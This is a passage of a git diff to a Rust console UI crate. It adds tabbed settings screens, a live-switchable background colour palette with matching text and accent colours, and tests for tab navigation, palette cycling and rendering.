header"); assert_eq!(spec.value.as_deref(), Some("Not pinned")); - s.list.cursor = ROWS.len(); // onto "Work" + s.list.cursor = 0; // onto "Work" let mut fx = Outbox::default(); s.menu(MenuEvent::Confirm, &mut ctx, &mut fx); assert!( @@ -1140,10 +1233,10 @@ mod tests { t: 0.0, }; let mut s = SettingsScreen::with_profiles(Vec::new()); + s.tab = PROFILES_TAB; let ids = s.row_ids(); - assert_eq!(*ids.last().unwrap(), RowId::NoProfiles); + assert_eq!(ids, vec![RowId::NoProfiles]); let spec = row_spec(RowId::NoProfiles, &ctx, &s.profiles); - assert_eq!(spec.header, Some("Profiles")); assert!(!spec.enabled); s.list.cursor = ids.len() - 1; @@ -1152,4 +1245,103 @@ mod tests { assert!(matches!(pulse, Some(MenuPulse::Boundary))); assert!(fx.nav.is_none()); } + + /// Every row the screen knows about must live in exactly one tab — a row missing from + /// [`TABS`] is a setting that became unreachable in Gaming Mode, which is precisely + /// what this screen exists to prevent. + #[test] + fn every_row_has_exactly_one_tab() { + let mut seen: Vec = Vec::new(); + for (_, rows) in &TABS { + for id in *rows { + assert!(!seen.contains(id), "{id:?} is in two tabs"); + seen.push(*id); + } + } + // The pre-tab flat list, plus the palette row this change added. + assert_eq!(seen.len(), 30, "{seen:?}"); + assert!(seen.contains(&RowId::Palette)); + // The catalog rows belong to the trailing tab, which builds them at render time. + assert!(TABS[PROFILES_TAB].1.is_empty()); + assert_eq!(TABS[PROFILES_TAB].0, "Profiles"); + } + + /// L1/R1 wrap around the strip and each tab keeps its own cursor, so a detour into + /// another section doesn't lose your place. + #[test] + fn shoulders_cycle_tabs_and_keep_each_cursor() { + let (mut settings, pads) = ctx_parts(); + let library = crate::library::LibraryShared::default(); + let mut ctx = Ctx { + hosts: &[], + library: &library, + settings: &mut settings, + pads: &pads, + deck: false, + device_name: "t", + t: 0.0, + }; + let mut s = SettingsScreen::with_profiles(Vec::new()); + let mut fx = Outbox::default(); + assert_eq!(s.tab, 0); + s.list.cursor = 3; // "Bitrate", in Stream + s.menu(MenuEvent::JumpForward, &mut ctx, &mut fx); + assert_eq!(s.tab, 1); + assert_eq!(s.list.cursor, 0, "a fresh tab starts at its first row"); + s.list.cursor = 2; // "10-bit HDR", in Video + s.menu(MenuEvent::JumpBack, &mut ctx, &mut fx); + assert_eq!((s.tab, s.list.cursor), (0, 3), "Stream kept its place"); + // Backwards off the first tab wraps to the last… + s.menu(MenuEvent::JumpBack, &mut ctx, &mut fx); + assert_eq!(s.tab, PROFILES_TAB); + // …whose (catalog-built) length clamps a remembered cursor that no longer fits. + assert_eq!(s.list.cursor, 0); + s.menu(MenuEvent::JumpForward, &mut ctx, &mut fx); + assert_eq!(s.tab, 0); + // Switching sections is navigation, never a settings write. + assert!(fx.nav.is_none() && fx.cmds.is_empty()); + } + + /// The palette row steps the shared `ui_palette` key through the table and wraps on A, + /// like every other choice row. + #[test] + fn palette_row_steps_the_shared_key() { + let (mut settings, pads) = ctx_parts(); + let library = crate::library::LibraryShared::default(); + let mut ctx = Ctx { + hosts: &[], + library: &library, + settings: &mut settings, + pads: &pads, + deck: false, + device_name: "t", + t: 0.0, + }; + assert_eq!(ctx.settings.ui_palette, "violet", "the brand default ships"); + assert_eq!( + row_spec(RowId::Palette, &ctx, &[]).value.as_deref(), + Some("Violet") + ); + assert!( + !adjust(RowId::Palette, -1, false, &mut ctx), + "already the first = thud" + ); + assert!(adjust(RowId::Palette, 1, false, &mut ctx)); + assert_eq!(ctx.settings.ui_palette, crate::library::PALETTES[1].id); + // A from the last entry wraps home. + ctx.settings.ui_palette = crate::library::PALETTES + .last() + .expect("non-empty") + .id + .to_string(); + assert!(adjust(RowId::Palette, 1, true, &mut ctx)); + assert_eq!(ctx.settings.ui_palette, "violet"); + // A store written by a newer client shows that client's value, not a blank row. + ctx.settings.ui_palette = "chartreuse".into(); + assert_eq!( + row_spec(RowId::Palette, &ctx, &[]).value.as_deref(), + Some("Violet"), + "an unknown palette reads as the default it actually draws" + ); + } } diff --git a/crates/pf-console-ui/src/shell.rs b/crates/pf-console-ui/src/shell.rs index 1503bafe..d5447d90 100644 --- a/crates/pf-console-ui/src/shell.rs +++ b/crates/pf-console-ui/src/shell.rs @@ -11,7 +11,7 @@ use crate::anim::Progress; use crate::glyphs::GlyphStyle; -use crate::library::{mesh_sksl, LibraryShared}; +use crate::library::{mesh_sksl, palette, LibraryShared}; use crate::model::{ConsoleBus, ConsoleCmd, ConsoleShared, HostRow, PairPhase, WakeStatus}; use crate::screens::{Bg, ConnectIntent, Ctx, Nav, Outbox, Screen}; use anyhow::{anyhow, Result}; @@ -85,7 +85,23 @@ pub(crate) struct Shell { wake_optimistic: bool, toast: Option, mesh: RuntimeEffect, - /// 0 = aurora, 1 = form — chased, so backdrops crossfade with the transition. + /// The `ui_palette` the compiled `mesh` bakes. The settings screen can change the palette + /// mid-frame-loop, so [`Self::sync`] recompiles when this falls out of step — the backdrop + /// re-colours under the cursor as the row is stepped, which is the whole point of putting + /// the picker on a screen the backdrop is behind. + mesh_palette: String, + /// The palette's ground × 0.4 — the calm lift, precomputed with `mesh`. Chosen so + /// `col*0.6 + lift` leaves the ground EXACTLY where it was and pulls the bright pools down + /// to it: the form screens lose the launcher's contrast, not its colour. + mesh_lift: [f32; 3], + /// The backdrop's scrim under this palette: rgb = what the vignette and scrims tend + /// toward (black on a dark field, white on a pale one), a = how hard. Kept with the ink. + mesh_scrim: [f32; 4], + /// The text/accent/glass the palette calls for, published to the whole crate once per + /// frame (see [`crate::theme::set_ink`]). + ink: crate::theme::Ink, + /// 0 = launcher aurora, 1 = the calm form field — chased, so the backdrop settles into + /// (or out of) calm alongside the screen transition. bg_mix: f64, glyphs: GlyphStyle, chip: Option, @@ -103,8 +119,8 @@ impl Shell { stack: Vec, ) -> Result { anyhow::ensure!(!stack.is_empty(), "the console needs a root screen"); - let mesh = RuntimeEffect::make_for_shader(mesh_sksl(), None) - .map_err(|e| anyhow!("mesh-gradient SkSL: {e}"))?; + let settings = trust::Settings::load(); + let (mesh, mesh_lift, mesh_scrim, ink) = build_mesh(&settings.ui_palette)?; let bg_mix = match stack.last().expect("non-empty").background() { Bg::Aurora => 0.0, Bg::Form => 1.0, @@ -116,7 +132,8 @@ impl Shell { library, bus, actions: VecDeque::new(), - settings: trust::Settings::load(), + mesh_palette: settings.ui_palette.clone(), + settings, hosts: Vec::new(), hosts_gen: u64::MAX, device_name: opts.device_name, @@ -128,6 +145,9 @@ impl Shell { wake_optimistic: false, toast: None, mesh, + mesh_lift, + mesh_scrim, + ink, bg_mix, glyphs: GlyphStyle::Keyboard, chip: None, @@ -226,6 +246,28 @@ impl Shell { // --- Model sync (hosts, pairing, wake) — before input and before render -------------- fn sync(&mut self) { + // The settings screen writes `ui_palette` straight into `self.settings`; recompiling + // here is what makes the backdrop re-colour live under the row being stepped. A + // rejected compile keeps the palette that IS drawing — the field never goes black + // because someone picked a colour. + if self.settings.ui_palette != self.mesh_palette { + match build_mesh(&self.settings.ui_palette) { + Ok((mesh, lift, scrim, ink)) => { + self.mesh = mesh; + self.mesh_lift = lift; + self.mesh_scrim = scrim; + self.ink = ink; + self.mesh_palette = self.settings.ui_palette.clone(); + } + Err(e) => { + tracing::warn!( + "console: {} palette rejected: {e}", + self.settings.ui_palette + ); + self.mesh_palette = self.settings.ui_palette.clone(); + } + } + } if self.console.hosts_gen() != self.hosts_gen { (self.hosts, self.hosts_gen) = self.console.hosts_snapshot(); } @@ -470,12 +512,30 @@ impl Shell { } } - fn draw_aurora(&self, canvas: &Canvas, w: f64, h: f64, t: f64) { - let uniforms: [f32; 3] = [w as f32, h as f32, t as f32]; - // SAFETY: `uniforms` is a local `[f32; 3]` — exactly 12 bytes — and `f32` has no padding or - // invalid bit patterns, so reading it as bytes is sound; the slice is copied by + /// The living backdrop. `calm` 0 = the launcher's aurora, 1 = the quiet field the form + /// screens sit on; the shell chases it, so there is only ever ONE backdrop pass — the + /// former aurora-over-static-form crossfade is now a single uniform. + fn draw_aurora(&self, canvas: &Canvas, w: f64, h: f64, t: f64, calm: f64) { + // Laid out to match the SkSL block: u_res (float2), u_tc (float2), u_lift (float4), + // u_scrim (float4). + let uniforms: [f32; 12] = [ + w as f32, + h as f32, + t as f32, + calm as f32, + self.mesh_lift[0], + self.mesh_lift[1], + self.mesh_lift[2], + 0.0, + self.mesh_scrim[0], + self.mesh_scrim[1], + self.mesh_scrim[2], + self.mesh_scrim[3], + ]; + // SAFETY: `uniforms` is a local `[f32; 12]` — exactly 48 bytes — and `f32` has no padding + // or invalid bit patterns, so reading it as bytes is sound; the slice is copied by // `Data::new_copy` before `uniforms` goes out of scope. - let bytes = unsafe { std::slice::from_raw_parts(uniforms.as_ptr().cast::(), 12) }; + let bytes = unsafe { std::slice::from_raw_parts(uniforms.as_ptr().cast::(), 48) }; match self.mesh.make_shader(Data::new_copy(bytes), &[], None) { Some(shader) => { let mut paint = Paint::default(); @@ -489,5 +549,32 @@ impl Shell { } } +/// Compile the mesh shader for a palette and resolve everything else that palette decides: +/// the calm lift, the scrim direction, and the ink the whole UI draws with. +/// `uniform_size` is checked rather than assumed: the byte buffer [`Shell::draw_aurora`] +/// hands Skia is hand-packed, and a silent layout change would feed the field garbage +/// instead of failing. +type MeshLook = (RuntimeEffect, [f32; 3], [f32; 4], crate::theme::Ink); + +fn build_mesh(palette_id: &str) -> Result { + let p = palette(palette_id); + let colors = p.mesh_colors(); + let effect = RuntimeEffect::make_for_shader(mesh_sksl(&colors), None) + .map_err(|e| anyhow!("mesh-gradient SkSL: {e}"))?; + anyhow::ensure!( + effect.uniform_size() == 48, + "mesh uniform block is {} bytes, expected 48 (u_res, u_tc, u_lift, u_scrim)", + effect.uniform_size() + ); + let ink = crate::theme::Ink::of(p); + let g = p.ground; + Ok(( + effect, + [(g.0 * 0.4) as f32, (g.1 * 0.4) as f32, (g.2 * 0.4) as f32], + [ink.scrim.r, ink.scrim.g, ink.scrim.b, ink.scrim.a], + ink, + )) +} + #[cfg(test)] mod tests; diff --git a/crates/pf-console-ui/src/shell/overlays.rs b/crates/pf-console-ui/src/shell/overlays.rs index e8fa7b44..4a042d8c 100644 --- a/crates/pf-console-ui/src/shell/overlays.rs +++ b/crates/pf-console-ui/src/shell/overlays.rs @@ -2,8 +2,8 @@ use crate::anim::{approach, ease_out_cubic}; use crate::glyphs::{hint_bar, Hint, HintKey}; -use crate::theme::{white, Fonts, PanelStroke, DIM, W, WHITE}; -use skia_safe::{gradient_shader, Canvas, Color4f, Paint, Point, Rect, TileMode}; +use crate::theme::{fg, Fonts, PanelStroke, W}; +use skia_safe::{gradient_shader, Canvas, Paint, Point, Rect, TileMode}; use super::{Shell, BOTTOM_BAND}; @@ -118,7 +118,7 @@ impl Shell { let rect = Rect::from_xywh(bx as f32, by as f32, bw as f32, bh as f32); canvas.draw_rrect( skia_safe::RRect::new_rect_xy(rect, (bh / 2.0) as f32, (bh / 2.0) as f32), - &Paint::new(Color4f::new(0.0, 0.0, 0.0, 0.6), None), + &Paint::new(crate::theme::shade(0.6), None), ); crate::theme::panel( canvas, @@ -135,7 +135,7 @@ impl Shell { by + bh / 2.0 + size * 0.36, W::Medium, size, - white(0.92), + fg(0.92), ); canvas.restore(); } @@ -166,15 +166,16 @@ impl Shell { canvas.save_layer_alpha_f(None, appear as f32); // Opaque aurora — the same living backdrop the home wears, so the takeover reads as the // console taking over rather than a card popping up. - self.draw_aurora(canvas, w, h, t); - // A soft pool of shade under the centre seats the white text against a bright aurora. + self.draw_aurora(canvas, w, h, t, 0.0); + // A soft pool of shade under the centre seats the text against a bright field — + // dark on a dark palette, light on a pale one, so it always separates. let mut vignette = Paint::default(); vignette.set_shader(gradient_shader::radial( Point::new(cx as f32, (h / 2.0) as f32), (w.max(h) * 0.42) as f32, gradient_shader::GradientShaderColors::Colors(&[ - Color4f::new(0.0, 0.0, 0.0, 0.5).to_color(), - Color4f::new(0.0, 0.0, 0.0, 0.0).to_color(), + crate::theme::shade(0.5).to_color(), + crate::theme::shade(0.0).to_color(), ]), None, TileMode::Clamp, @@ -193,7 +194,7 @@ impl Shell { title, W::SemiBold, 23.0 * k, - WHITE, + fg(1.0), cx, title_y, w * 0.82, @@ -204,7 +205,7 @@ impl Shell { body, W::Regular, 14.0 * k, - DIM, + fg(0.55), cx, title_y + 32.0 * k, w * 0.66, diff --git a/crates/pf-console-ui/src/shell/render.rs b/crates/pf-console-ui/src/shell/render.rs index 09a89019..a5728d0a 100644 --- a/crates/pf-console-ui/src/shell/render.rs +++ b/crates/pf-console-ui/src/shell/render.rs @@ -5,10 +5,10 @@ use crate::glyphs::{hint_bar, GlyphStyle}; use crate::library::LibraryShared; use crate::model::HostRow; use crate::screens::{Bg, Ctx, Screen}; -use crate::theme::{white, Fonts, PanelStroke, W, WHITE}; +use crate::theme::{fg, Fonts, PanelStroke, W}; use pf_client_core::gamepad::PadInfo; use pf_client_core::trust; -use skia_safe::{Canvas, Color4f, Rect}; +use skia_safe::{Canvas, Rect}; use std::time::Instant; use super::{Motion, Shell, BOTTOM_BAND, TOP_BAND}; @@ -31,6 +31,10 @@ impl Shell { .replace(now) .map_or(1.0 / 60.0, |t| (now - t).as_secs_f64().clamp(0.0, 0.05)); self.sync(); + // Publish the palette's ink before ANYTHING draws — every widget, glyph and panel in + // the crate reads it (see `theme::set_ink`), so a frame that skipped this would paint + // the previous palette's text over the new palette's field. + crate::theme::set_ink(self.ink); self.pads = pads.to_vec(); self.glyphs = GlyphStyle::from_pref(pad_pref); self.chip = Some(pad.map_or_else( @@ -67,7 +71,9 @@ impl Shell { } }; - // Backdrop crossfade follows the top screen. + // The backdrop settles into (or out of) calm with the screen transition. It is the + // SAME living field either way — a form screen quiets it, it doesn't replace it — + // so this is one shader pass with a chased uniform, not two stacked backdrops. let bg_target = match self.stack.last().expect("non-empty").background() { Bg::Aurora => 0.0, Bg::Form => 1.0, @@ -76,16 +82,7 @@ impl Shell { if (self.bg_mix - bg_target).abs() < 0.005 { self.bg_mix = bg_target; } - if self.bg_mix < 1.0 { - self.draw_aurora(canvas, w, h, t); - } else { - canvas.clear(Color4f::new(0.0, 0.0, 0.0, 1.0)); - } - if self.bg_mix > 0.0 { - canvas.save_layer_alpha_f(None, self.bg_mix as f32); - crate::theme::draw_form_background(canvas, w, h); - canvas.restore(); - } + self.draw_aurora(canvas, w, h, t, self.bg_mix); // The screens, through the transition choreography. let content = Rect::from_ltrb( @@ -175,7 +172,7 @@ impl Shell { 18.0 * k + 16.0 * k, W::Medium, size, - white(0.7), + fg(0.7), ); } @@ -231,7 +228,7 @@ impl LayerEnv<'_> { &screen.title(&ctx), W::Bold, 30.0 * self.k, - WHITE, + fg(1.0), self.w / 2.0, 18.0 * self.k, self.w * 0.7, diff --git a/crates/pf-console-ui/src/shell/tests.rs b/crates/pf-console-ui/src/shell/tests.rs index d49e1a44..0c0af972 100644 --- a/crates/pf-console-ui/src/shell/tests.rs +++ b/crates/pf-console-ui/src/shell/tests.rs @@ -167,6 +167,47 @@ fn wake_gates_input_in_the_same_press() { assert!(s.handle_menu(MenuEvent::Move(MenuDir::Left)).is_some()); } +/// Every settings tab actually RASTERS. The eyeball dump below is `#[ignore]`d, so without +/// this nothing in the normal gate ever ran the tab strip's layout arithmetic or a settings +/// screen's rows — a bad index there would only surface on a Deck. CPU raster: the SkSL +/// backdrop, the layers and the text all run without a GPU. +#[test] +fn every_settings_tab_rasters() { + let fonts = crate::theme::build_fonts().unwrap(); + let (w, h) = (1280u32, 800u32); + let pads: Vec = Vec::new(); + let mut surface = skia_safe::surfaces::raster_n32_premul((w as i32, h as i32)).unwrap(); + let (mut s, _console, _library) = shell(vec![Screen::Home(HomeScreen::new())]); + s.handle_menu(MenuEvent::Tertiary); // X → Settings + + let mut frame = |s: &mut Shell| { + s.render( + surface.canvas(), + w, + h, + &fonts, + Some("Xbox Wireless Controller"), + Some(GamepadPref::Xbox360), + &pads, + ); + }; + // One lap of the strip — R1 wraps back to where it started. Every tab's rows fit on an + // 800-tall window at once, so ONE frame per tab draws all of them; the cursor is walked to + // the end first (input only, no render) so the focused and unfocused row paths both run. + // Deliberately frugal: a full-screen SkSL field on the CPU costs the better part of a second + // per frame in a debug build, and this test's job is to catch a panic, not to look pretty. + for _ in 0..crate::screens::settings::TAB_COUNT { + for _ in 0..12 { + s.handle_menu(MenuEvent::Move(MenuDir::Down)); + } + frame(&mut s); + s.handle_menu(MenuEvent::JumpForward); + } + // A narrow window is the case the strip has to shrink for (the pills are laid out from + // measured text, so a too-small width must clamp rather than lay out off-screen). + s.render(surface.canvas(), 640, 400, &fonts, None, None, &pads); +} + /// Render every console scene to PNGs for the eyeball pass (ignored; run with /// `PF_CONSOLE_DUMP= cargo test -p pf-console-ui --release -- --ignored dump`). /// CPU raster — the SkSL aurora, layers and text all run without a GPU. @@ -208,6 +249,35 @@ fn dump_console_screens() { dump(&mut s, 3, 25, "02-transition", true); dump(&mut s, 40, 8, "03-settings", true); + // The Interface tab (5 shoulder presses along) leads with the Background row, so these + // frames show the strip mid-list AND the palette picker. Palettes are set directly rather + // than by counting Confirm presses, so reordering the table can't silently shoot the wrong + // one. Each is a whole LOOK, not just a backdrop: accent, ink and scrim move together, so + // the pale ones must be eyeballed with dark text on them. + for _ in 0..5 { + s.handle_menu(MenuEvent::JumpForward); + } + for id in ["violet", "ember", "abyss", "holo", "sunset", "mint"] { + s.settings.ui_palette = id.to_string(); + dump(&mut s, 40, 8, &format!("03-settings-{id}"), true); + } + // Back to the first tab so the later scenes look like they always did. + for _ in 0..5 { + s.handle_menu(MenuEvent::JumpBack); + } + // …and the LAUNCHER at full contrast under a few of them — the backdrop's loudest form, + // and the one the palettes are really chosen by. + s.handle_menu(MenuEvent::Back); + dump(&mut s, 20, 8, "_settle", true); + for id in ["nebula", "sunset", "holo"] { + s.settings.ui_palette = id.to_string(); + dump(&mut s, 40, 8, &format!("01-home-{id}"), true); + } + s.settings.ui_palette = "violet".to_string(); + dump(&mut s, 20, 8, "_settle2", true); + s.handle_menu(MenuEvent::Tertiary); // back into Settings for the scenes below + dump(&mut s, 20, 8, "_settle3", true); + // Add Host with the keyboard tray up (keyboard glyph style: no pad). s.handle_menu(MenuEvent::Back); dump(&mut s, 40, 8, "_back", true); @@ -251,6 +321,7 @@ fn dump_console_screens() { id: format!("steam:{i}"), title: (*t).to_string(), store: "steam".into(), + launcher: false, }) .collect(), ); diff --git a/crates/pf-console-ui/src/theme.rs b/crates/pf-console-ui/src/theme.rs index 194fe600..ac58f7db 100644 --- a/crates/pf-console-ui/src/theme.rs +++ b/crates/pf-console-ui/src/theme.rs @@ -14,28 +14,117 @@ use skia_safe::{ Point, RRect, Rect, TileMode, Typeface, }; -// --- Palette ----------------------------------------------------------------------------- +// --- Ink ---------------------------------------------------------------------------------- -/// The punktfunk brand violet — the DARK-appearance value (#8678F5); the console UI is -/// always dark. (Light surfaces use #6656F2; nothing here is light.) -pub(crate) const BRAND: Color4f = Color4f::new(0.525, 0.471, 0.961, 1.0); -pub(crate) const WHITE: Color4f = Color4f::new(1.0, 1.0, 1.0, 1.0); -pub(crate) const DIM: Color4f = Color4f::new(1.0, 1.0, 1.0, 0.55); -pub(crate) const FAINT: Color4f = Color4f::new(1.0, 1.0, 1.0, 0.35); -/// The error/status red (the GTK client's #ff938a). +/// The error/status red (the GTK client's #ff938a). Fixed: a warning must not change meaning +/// with the wallpaper. pub(crate) const ERROR: Color4f = Color4f::new(1.0, 0.576, 0.541, 1.0); pub(crate) const ONLINE_GREEN: Color4f = Color4f::new(0.20, 0.84, 0.29, 1.0); -pub(crate) fn white(alpha: f32) -> Color4f { - Color4f::new(1.0, 1.0, 1.0, alpha) +/// Everything about the console's look that follows the chosen background palette: which way +/// the text runs, what the glass is made of, and the accent that marks focus. +/// +/// The console UI was white-on-dark throughout, with the brand violet hardcoded as the accent. +/// Both had to become palette-derived at once: a pale field needs dark text or it is +/// unreadable, and a violet focus wash on a copper field is the clash this exists to fix. +#[derive(Clone, Copy)] +pub(crate) struct Ink { + /// Primary text/glyph colour, opaque. + fg: Color4f, + /// Focus wash, selected pill, caret — the palette's own accent. + accent: Color4f, + /// The base fill every glass panel starts from. + glass: Color4f, + /// What the vignette and legibility scrims tend toward — black under a dark field, white + /// under a pale one (darkening a pastel field would strand the dark text on it) — with the + /// alpha carrying HOW HARD. A pale field needs far less: mixing toward white at the dark + /// field's strength bleaches the chroma straight out of the gradient. + pub(crate) scrim: Color4f, } -pub(crate) fn brand(alpha: f32) -> Color4f { - Color4f::new(BRAND.r, BRAND.g, BRAND.b, alpha) +/// The shipped dark look — also what a test or a preview gets before any palette is applied. +const DARK_INK: Ink = Ink { + fg: Color4f::new(1.0, 1.0, 1.0, 1.0), + // The punktfunk brand violet, DARK-appearance value (#8678F5). + accent: Color4f::new(0.525, 0.471, 0.961, 1.0), + glass: Color4f::new(0.086, 0.086, 0.125, 0.62), + scrim: Color4f::new(0.0, 0.0, 0.0, 1.0), +}; + +impl Ink { + /// The ink a palette calls for. On a pale field the text goes near-black (tinted toward the + /// palette's own ground so it doesn't read as a foreign grey) and the glass turns to white + /// frost, which is what keeps a row legible over a bright gradient. + pub(crate) fn of(p: &crate::library::Palette) -> Ink { + let accent = Color4f::new(p.accent.0 as f32, p.accent.1 as f32, p.accent.2 as f32, 1.0); + if !p.light { + return Ink { accent, ..DARK_INK }; + } + let g = p.ground; + Ink { + fg: Color4f::new( + (g.0 * 0.16) as f32, + (g.1 * 0.14) as f32, + (g.2 * 0.20) as f32, + 1.0, + ), + accent, + // More body than the dark glass carries: white frost over a bright gradient has + // far less to separate it from its backdrop than dark glass over a dark one. + glass: Color4f::new(1.0, 1.0, 1.0, 0.66), + scrim: Color4f::new(1.0, 1.0, 1.0, 0.45), + } + } } -/// The dark-glass base fill every panel starts from. -const GLASS_BASE: Color4f = Color4f::new(0.086, 0.086, 0.125, 0.62); +thread_local! { + /// The ink the CURRENT frame draws with. A thread-local rather than a parameter because + /// every widget, glyph and panel in the crate reads it and the console renders on exactly + /// one thread — threading an `Ink` through ~90 call sites would be all cost and no safety. + /// [`crate::shell::Shell::render`] sets it once per frame, before anything draws. + static INK: std::cell::Cell = const { std::cell::Cell::new(DARK_INK) }; +} + +pub(crate) fn set_ink(ink: Ink) { + INK.with(|i| i.set(ink)); +} + +pub(crate) fn ink() -> Ink { + INK.with(std::cell::Cell::get) +} + +/// The foreground at `alpha` — white on a dark palette, near-black on a pale one. +pub(crate) fn fg(alpha: f32) -> Color4f { + let c = ink().fg; + Color4f::new(c.r, c.g, c.b, alpha) +} + +/// The palette's accent at `alpha`. +pub(crate) fn accent(alpha: f32) -> Color4f { + let c = ink().accent; + Color4f::new(c.r, c.g, c.b, alpha) +} + +/// A wash laid UNDER text to seat it against the field — black on a dark palette, white on a +/// pale one. `alpha` is the dark-field strength; a pale field needs less (see [`Ink::scrim`]), +/// so it is scaled the same way the backdrop's own scrims are. +pub(crate) fn shade(alpha: f32) -> Color4f { + let s = ink().scrim; + Color4f::new(s.r, s.g, s.b, alpha * s.a) +} + +/// Ink that reads ON the accent (a filled key, a selected pill): whichever of black or white +/// the accent has more room for. Chosen by luminance rather than by `light`, because an accent +/// is picked for contrast against the GLASS, not against the field. +pub(crate) fn on_accent() -> Color4f { + let a = ink().accent; + let luma = 0.2126 * a.r + 0.7152 * a.g + 0.0722 * a.b; + if luma > 0.55 { + Color4f::new(0.0, 0.0, 0.0, 1.0) + } else { + Color4f::new(1.0, 1.0, 1.0, 1.0) + } +} // --- Panels (the Liquid Glass stand-in) -------------------------------------------------- @@ -61,7 +150,7 @@ pub(crate) fn panel( k: f32, ) { let rr = RRect::new_rect_xy(rect, corner * k, corner * k); - canvas.draw_rrect(rr, &Paint::new(GLASS_BASE, None)); + canvas.draw_rrect(rr, &Paint::new(ink().glass, None)); if let Some(tint) = tint { canvas.draw_rrect(rr, &Paint::new(tint, None)); } @@ -71,10 +160,10 @@ pub(crate) fn panel( sp.set_anti_alias(true); match stroke { PanelStroke::Plain(alpha) => { - sp.set_color4f(white(alpha), None); + sp.set_color4f(fg(alpha), None); } PanelStroke::Brand(alpha) => { - sp.set_color4f(brand(alpha), None); + sp.set_color4f(accent(alpha), None); } PanelStroke::Gradient | PanelStroke::GradientDashed => { sp.set_shader(gradient_shader::linear( @@ -83,8 +172,8 @@ pub(crate) fn panel( Point::new(rect.left, rect.bottom), ), gradient_shader::GradientShaderColors::Colors(&[ - white(0.22).to_color(), - white(0.04).to_color(), + fg(0.22).to_color(), + fg(0.04).to_color(), ]), None, TileMode::Clamp, @@ -112,64 +201,17 @@ pub(crate) fn drop_shadow(canvas: &Canvas, rect: Rect, corner: f32, k: f32, alph } // --- The form backdrop (settings / add-host / pair) -------------------------------------- - -/// The calm backdrop for the form screens — NOT the launcher's aurora (this stays still -/// and quiet), and deliberately not near-black: a deep indigo base plus two soft static -/// glows give the glass rows real color to sit on. A light top/bottom scrim grounds the -/// pinned title and hint bar (the Swift build blurs a tray instead; same job). -pub(crate) fn draw_form_background(canvas: &Canvas, w: f64, h: f64) { - let (wf, hf) = (w as f32, h as f32); - canvas.draw_rect( - Rect::from_wh(wf, hf), - &Paint::new(Color4f::new(0.075, 0.062, 0.150, 1.0), None), - ); - // Violet lift top-leading, cooler indigo bottom-trailing — elliptical (window - // aspect) via a unit-radius radial gradient under a scale. - for (cx, cy, color, alpha) in [ - (0.26, 0.14, Color4f::new(0.40, 0.31, 0.68, 1.0), 0.9f32), - (0.82, 0.90, Color4f::new(0.20, 0.24, 0.58, 1.0), 0.75), - ] { - let mut paint = Paint::default(); - let c = Color4f::new(color.r, color.g, color.b, alpha); - paint.set_shader(gradient_shader::radial( - Point::new(0.0, 0.0), - 0.78, - gradient_shader::GradientShaderColors::Colors(&[ - c.to_color(), - Color4f::new(color.r, color.g, color.b, 0.0).to_color(), - ]), - None, - TileMode::Clamp, - None, - None, - )); - canvas.save(); - canvas.translate((wf * cx, hf * cy)); - canvas.scale((wf, hf)); - canvas.draw_rect(Rect::from_ltrb(-1.0, -1.0, 1.0, 1.0), &paint); - canvas.restore(); - } - let mut scrim = Paint::default(); - scrim.set_shader(gradient_shader::linear( - (Point::new(0.0, 0.0), Point::new(0.0, hf)), - gradient_shader::GradientShaderColors::Colors(&[ - Color4f::new(0.0, 0.0, 0.0, 0.30).to_color(), - Color4f::new(0.0, 0.0, 0.0, 0.0).to_color(), - Color4f::new(0.0, 0.0, 0.0, 0.0).to_color(), - Color4f::new(0.0, 0.0, 0.0, 0.32).to_color(), - ]), - Some(&[0.0, 0.22, 0.74, 1.0][..]), - TileMode::Clamp, - None, - None, - )); - canvas.draw_rect(Rect::from_wh(wf, hf), &scrim); -} +// +// There isn't one any more. The form screens used to sit on a STATIC deep-indigo field +// drawn here, crossfaded over the launcher's aurora; they now wear the same living mesh at +// `calm = 1` (see `library::mesh_sksl` and `Shell::draw_aurora`), which keeps the glass rows +// on real colour, keeps the console's one backdrop palette-themed everywhere, and means no +// screen in the gamepad UI is ever backed by a still image. /// The loading/connecting spinner: a rotating 270° arc driven by the shell clock. pub(crate) fn spinner(canvas: &Canvas, cx: f64, cy: f64, r: f64, t: f64) { let start = (t * 300.0) % 360.0; - let mut paint = Paint::new(white(0.85), None); + let mut paint = Paint::new(fg(0.85), None); paint.set_style(skia_safe::PaintStyle::Stroke); paint.set_stroke_width((r / 5.0) as f32); paint.set_stroke_cap(skia_safe::PaintCap::Round); diff --git a/crates/pf-console-ui/src/widgets.rs b/crates/pf-console-ui/src/widgets.rs index 8ce4bb74..916888cd 100644 --- a/crates/pf-console-ui/src/widgets.rs +++ b/crates/pf-console-ui/src/widgets.rs @@ -6,7 +6,7 @@ use crate::anim::{approach, Spring, TRAY_C, TRAY_K}; use crate::library::{BUMP_C, BUMP_K}; -use crate::theme::{brand, white, Fonts, PanelStroke, BRAND, DIM, FAINT, W, WHITE}; +use crate::theme::{accent, fg, Fonts, PanelStroke, W}; use pf_client_core::gamepad::{MenuDir, MenuEvent, MenuPulse}; use skia_safe::{Canvas, Paint, Path, RRect, Rect}; @@ -84,6 +84,9 @@ pub(crate) struct MenuList { bump: Spring, scroll: f64, focus: Vec, + /// Next render, seat the scroll and the focus ease instantly instead of chasing — see + /// [`MenuList::jump_to`]. + snap: bool, } impl MenuList { @@ -93,9 +96,18 @@ impl MenuList { bump: Spring::rest(0.0), scroll: 0.0, focus: Vec::new(), + snap: true, } } + /// Move the cursor WITHOUT the scroll gliding there. For a tab switch, where the whole + /// row set is replaced: chasing would sweep the viewport through rows that no longer + /// exist, which reads as a glitch rather than as motion. + pub(crate) fn jump_to(&mut self, cursor: usize) { + self.cursor = cursor; + self.snap = true; + } + /// Route a menu event. Up/down move focus (Boundary = recoil), left/right become /// [`ListMsg::Adjust`], A becomes [`ListMsg::Activate`]. B is the SCREEN's. pub(crate) fn menu(&mut self, ev: MenuEvent, len: usize) -> (ListMsg, Option) { @@ -136,10 +148,19 @@ impl MenuList { dt: f64, active: bool, ) { + if self.snap { + // A replaced row set has no shared history with the old one — start every row's + // focus ease from scratch so the new cursor is simply THERE. + self.focus.clear(); + } self.focus.resize(rows.len(), 0.0); for (i, f) in self.focus.iter_mut().enumerate() { let target = if active && i == self.cursor { 1.0 } else { 0.0 }; - *f = approach(*f, target, dt, 0.06); + *f = if self.snap { + target + } else { + approach(*f, target, dt, 0.06) + }; } self.bump.step(0.0, BUMP_K, BUMP_C, dt); self.bump.settle(0.0, 0.3, 4.0); @@ -160,7 +181,11 @@ impl MenuList { // The scroll chases the focused row into the middle band, clamped to content. let focused_center = tops.get(self.cursor).map_or(0.0, |t| (t + ROW_H / 2.0) * k); 